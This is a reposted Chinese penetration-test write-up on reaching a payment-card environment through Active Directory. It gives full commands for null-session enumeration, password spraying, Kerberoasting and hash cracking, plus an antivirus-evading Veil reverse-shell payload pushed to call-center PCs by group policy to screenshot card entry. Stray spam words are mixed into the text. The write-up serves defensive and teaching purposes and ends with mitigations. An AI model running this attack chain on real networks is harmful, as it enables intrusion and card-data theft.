剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

本文主要是介绍剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

此文章介绍了以窃取数据为目标的完整渗透过程,作者首先通过enum4linux对域环境进行信息收集,整理出用户名字典后,然后暴力破解SMB。获得了一个域账号权限后,再使用 Kerberoasting技术获取到域管理员权限,最后通过域管理员下发组策略的方式获取到包含目标数据系统的权限。

一步步绕过Windows域中的防火墙获取支付卡敏感数据

本文详细介绍了如何绕过防火墙以获取对持卡人数据环境(cardholder data environment,CDE)的访问权限,并最终提取支付卡数据。

如果你要存储、传输或处理支付卡数据,那么就必须要确保支付卡数据在你的内部网络中保持高度安全,内部网络环境必须符合PCI数据安全标准(PCI-DSS)。当然,如果你的内部网络进行了分段,则不必让整个内部网络都符合PCI规范,只需让分段出的处理支付卡数据的环境符合PCI数据安全标准。而分段,即隔离出CDE,通常是利用防火墙来实现的。

在以下所讲解的示例中,所有敏感信息都做过修改,本文我们所进行渗透测试的支付卡公司,拥有很庞大的内部网络,所有IP都在10.0.0.0/8范围内。不过,为了保护支付卡的数据安全,它们的IP被特意进行了分段,和其他网络隔离,数据位于单独的192.168.0.0/16范围内。

CDE主要由接受电话订单的呼叫中心操作员组成,并在外部操作的web应用程序上以表单的形式输入付款细节。

由于这是一次内部渗透测试,因此我们连接到公司内部办公网络的范围为10.0.0.0/8。起初,使用ping和端口扫描从这个网络位置扫描CDE没有得到任何结果。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

虽然ping扫描与运行ping命令基本相同,但是nmap可以一次扫描整个范围。第二个命令输出中的“hosts up”与我们给nmap提供的-Pn参数有关,该参数告诉它不要首先ping,因此nmap会将范围内的所有主机报告为“up”,即使它们可能不是。

因此,除非有防火墙规则绕过漏洞,或者我们可以猜到防火墙的弱密码,否则直接扫描不太可能能得到想要的结果。因此,获取支付卡敏感数据的第一步是通过获得域管理员权限来集中精力控制Active Directory。中国菜刀

获得域管理员权限

有很多方法可以实现这个要求,比如我之前发表的《从外部Active Directory获取域管理员权限》。

而在本文的示例中,我们会采用一种新的方法,即利用kerberoast来控制域。简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。

为此,我们需要在域中找一个未授权的攻击点,来开始获得域管理员权限。攻击Active Directory的第一步通常涉及获得任何级别的任何用户帐户的访问权限。只要它能以某种方式对域控制器进行身份验证,就可以。在Windows环境中,即使账户没有权限在域控制器上实际执行任何操作,他们都应该能够使用域控制器进行身份验证。在Windows默认安全级别下,即使是权限最低的帐户在登录时也需要验证密码是否正确。

在客户的内网环境中,域控制器允许建立空会话。在本文的示例中,我们的域控制器是10.0.12.100, “PETER”。这意味着,我们可以使用enum4linux等工具枚举用户列表,显示域中每个用户的用户名:天空彩

$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

enum4linux是Kali Linux自带的一款信息收集工具。它可以收集Windows系统的大量信息,如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等。该工具主要是针对Windows NT/2000/XP/2003,在Windows 7/10系统,部分功能受限。

现在我们就有了一个用户列表,然后将该表解析成一个可用的格式:

$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

出于讲解目的,以上格式内容不是很简洁。如果你愿意,可以使用awk,grep,sed或更少字符的Perl来实现格式的简单化。但是,如果你正在进行渗透测试,建议你使用任何有效的方法,并将主要精力放在终极目标上,没有必要纠结形式。如果我要编写一个长期使用的脚本,我可能会对它进行一些优化,但是为了进行测试,我倾向于不对格式做优化。

在本文的示例中,由于实际测试的网络庞大,活跃用户超过25000人。为了方便测试,我们只选了部分用户的数据。

现在我们已经将用户列表解析为文本文件,然后可以使用CrackMapExec等工具猜测密码。在本文的示例中,我们将猜测是否有任何用户的密码是“Password1”,该密码虽然简单,但却符合Active Directory的默认复杂性规则,因为它包含四种字符类型中的三种(大写,小写和数字)。

$ cme smb 10.0.12.100 -u users.txt -p Password1

果然不出所料,猜测成功。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

请注意,如果我们想继续猜测并找到所有帐户,就需要指定参数–continue-on-success。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

此时,我们已经成功控制了一个帐户。现在我们可以查询Active Directory并获得服务帐户列表。服务帐户是一种代表服务的帐户,就像Microsoft SQL Server这样的服务。这些服务运行时,需要在以某种帐户身份存在于系统。幸运的是, Active Directory的Kerberos身份验证系统可用于提供访问权限,因此Active Directory提供“服务票据”以允许用户对其进行身份验证。 Kerberos身份验证不在本文的讨论范围之内,如果你想了解更多信息,请点此。

通过从域控制器请求Kerberos服务帐户列表,我们还能得到每个帐户的“服务票据”。此服务票据是使用服务帐户的密码所加密。因此,如果我们可以破解它,将能够获得高权限。 Impacket工具集可用于请求以下内容:

$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

正如我们所看到的,其中一个服务帐户是Domain Admins的成员,这意味着我们获得了高权限。

$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

在运行hashcat进行密码破解后,我们发现以下的明文密码。二四六

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

再次使用CrackMapExec,确认这是一个实际存在的活动帐户。

$ cme smb 10.0.12.100 -u redrum -p ' 1!

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

我们现在就可以伪装成Pwn3d !,获取域控制权限了。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

获得域管理员权限后,如何得到支付卡数据?

不幸的是,在对目标攻击测试后,我们发现呼叫中心代理在CDE中用来接受电话订单的计算机位于相同的Active Directory域中。虽然我们无法直接连接到这些设备,但由于现在我们已经可以获取域控制权限了,可以强行让域控制器与我们进行对话。为此,我们需要深入了解组策略对象(GPO),在GPO中,你可以使用组策略为用户和计算机组定义用户和计算机配置。通过使用组策略Microsoft Management Console (MMC) 管理单元,你可以为特定的用户和计算机组创建特定的桌面配置。此时,你创建的组策略设置包含在组策略对象中,后者进而与选定的 Active Directory 容器,如站点、域或组织单位 (OU))关联。不过在本文中,你只需要知道GPO允许在全局或用户级别上控制域中的计算机既可。

使用GPO的“即时任务”选项,我们可以创建一个将在呼叫中心运行的脚本,并连接回我们的设备,让我们实现控制。以下是具体步骤(7步):

1.生成有效载荷,我们在示例中使用的是Veil Evasion,Veil-Evasion是一种生成有效载荷可执行文件的工具,可绕过常见的防病毒解决方案。由于我们的IP地址是10.0.12.1,所以我们将把有效载荷指向这个地址,从而进行回连。

$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

2.使用我们从kerberoasting获得的凭据,通过远程桌面协议(RDP)登录到域控制器。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

3.在Active Directory中查找CDE,根据我们对测试目标的了解,我们知道呼叫中心代理在2楼工作。所以,我们重点关注带有floor 2. 字眼的文件。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

4.将我们从Veil制作的脚本放入文件夹中,并在域控制器上共享该脚本,设置共享和目录上的权限,以允许所有域用户读取。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

5.在GPO中,我们在如下级别创建了一个组策略。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

6.在编辑此新GPO时,找到“计划任务”选项,并创建新的“即时任务”:

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

7. 创建指向共享中恶意脚本的任务,同时在common下设置Run in logged-on user's security context。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

经过漫长地等待(90分钟),我看到了以下内容的生成。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

运行命令截取屏幕截图,这些生成的内容正是呼叫中心代理输入的支付卡数据!

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

此时,渗透测试的目标就已经顺利完成。剥丝抽茧,层层破解!通过一步步绕过防火墙,终于获取了支付卡信息。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

如果我们查看会话列表,可以看到原始IP来自192.168.0.0/16 CDE范围。

剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息

在实际测试中,整个二楼的设备基本都返回了shell,我们最后得到了大约60-100个Meterpreter。

请注意,以上截图中的样本是Amazon,这与我谈论的测试目标无关。在真实的测试中,我们会设置了一个脚本以便在连接shell时捕获屏幕截图(通过autorunscript),然后就可以专注于更有趣的会话,例如那些支付卡数据进行输入时的进程。

还有其他获取截图的命令,例如在Meterpreter中使用use espia以及metasploit的post/windows/gather/screen_spy。

有一些方法可以通过编程实现GPO,我还没有尝试过,例如PowerView中的New-GPOImmediateTask。

缓解措施

缓解这种攻击的最好方法,就是始终在被隔离的Active Directory域中运行CDE,具体原理,请点此了解。另外,为了保险起见,你可以设置强密码。当然,更深度防御措施是彻底关闭空会话,检测是否有用户一次性来请求所有服务票据,如果有人这么做,则对其进行标记追踪。

这篇关于剥丝抽茧,层层破解!看我如何一步步绕过防火墙直至获取你的支付卡信息的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/779201

相关文章

C++中RAII资源获取即初始化

《C++中RAII资源获取即初始化》RAII通过构造/析构自动管理资源生命周期,确保安全释放,本文就来介绍一下C++中的RAII技术及其应用,具有一定的参考价值,感兴趣的可以了解一下... 目录一、核心原理与机制二、标准库中的RAII实现三、自定义RAII类设计原则四、常见应用场景1. 内存管理2. 文件操

Maven 配置中的 <mirror>绕过 HTTP 阻断机制的方法

《Maven配置中的<mirror>绕过HTTP阻断机制的方法》:本文主要介绍Maven配置中的<mirror>绕过HTTP阻断机制的方法,本文给大家分享问题原因及解决方案,感兴趣的朋友一... 目录一、问题场景:升级 Maven 后构建失败二、解决方案:通过 <mirror> 配置覆盖默认行为1. 配置示

SpringBoot服务获取Pod当前IP的两种方案

《SpringBoot服务获取Pod当前IP的两种方案》在Kubernetes集群中,SpringBoot服务获取Pod当前IP的方案主要有两种,通过环境变量注入或通过Java代码动态获取网络接口IP... 目录方案一:通过 Kubernetes Downward API 注入环境变量原理步骤方案二:通过

使用Python实现获取屏幕像素颜色值

《使用Python实现获取屏幕像素颜色值》这篇文章主要为大家详细介绍了如何使用Python实现获取屏幕像素颜色值,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 一、一个小工具,按住F10键,颜色值会跟着显示。完整代码import tkinter as tkimport pyau

python获取cmd环境变量值的实现代码

《python获取cmd环境变量值的实现代码》:本文主要介绍在Python中获取命令行(cmd)环境变量的值,可以使用标准库中的os模块,需要的朋友可以参考下... 前言全局说明在执行py过程中,总要使用到系统环境变量一、说明1.1 环境:Windows 11 家庭版 24H2 26100.4061

Linux查看系统盘和SSD盘的容量、型号及挂载信息的方法

《Linux查看系统盘和SSD盘的容量、型号及挂载信息的方法》在Linux系统中,管理磁盘设备和分区是日常运维工作的重要部分,而lsblk命令是一个强大的工具,它用于列出系统中的块设备(blockde... 目录1. 查看所有磁盘的物理信息方法 1:使用 lsblk(推荐)方法 2:使用 fdisk -l(

使用Python获取JS加载的数据的多种实现方法

《使用Python获取JS加载的数据的多种实现方法》在当今的互联网时代,网页数据的动态加载已经成为一种常见的技术手段,许多现代网站通过JavaScript(JS)动态加载内容,这使得传统的静态网页爬取... 目录引言一、动态 网页与js加载数据的原理二、python爬取JS加载数据的方法(一)分析网络请求1

通过cmd获取网卡速率的代码

《通过cmd获取网卡速率的代码》今天从群里看到通过bat获取网卡速率两段代码,感觉还不错,学习bat的朋友可以参考一下... 1、本机有线网卡支持的最高速度:%v%@echo off & setlocal enabledelayedexpansionecho 代码开始echo 65001编码获取: >

SpringBoot如何对密码等敏感信息进行脱敏处理

《SpringBoot如何对密码等敏感信息进行脱敏处理》这篇文章主要为大家详细介绍了SpringBoot对密码等敏感信息进行脱敏处理的几个常用方法,文中的示例代码讲解详细,感兴趣的小伙伴可以了解下... 目录​1. 配置文件敏感信息脱敏​​2. 日志脱敏​​3. API响应脱敏​​4. 其他注意事项​​总结

使用Python实现调用API获取图片存储到本地的方法

《使用Python实现调用API获取图片存储到本地的方法》开发一个自动化工具,用于从JSON数据源中提取图像ID,通过调用指定API获取未经压缩的原始图像文件,并确保下载结果与Postman等工具直接... 目录使用python实现调用API获取图片存储到本地1、项目概述2、核心功能3、环境准备4、代码实现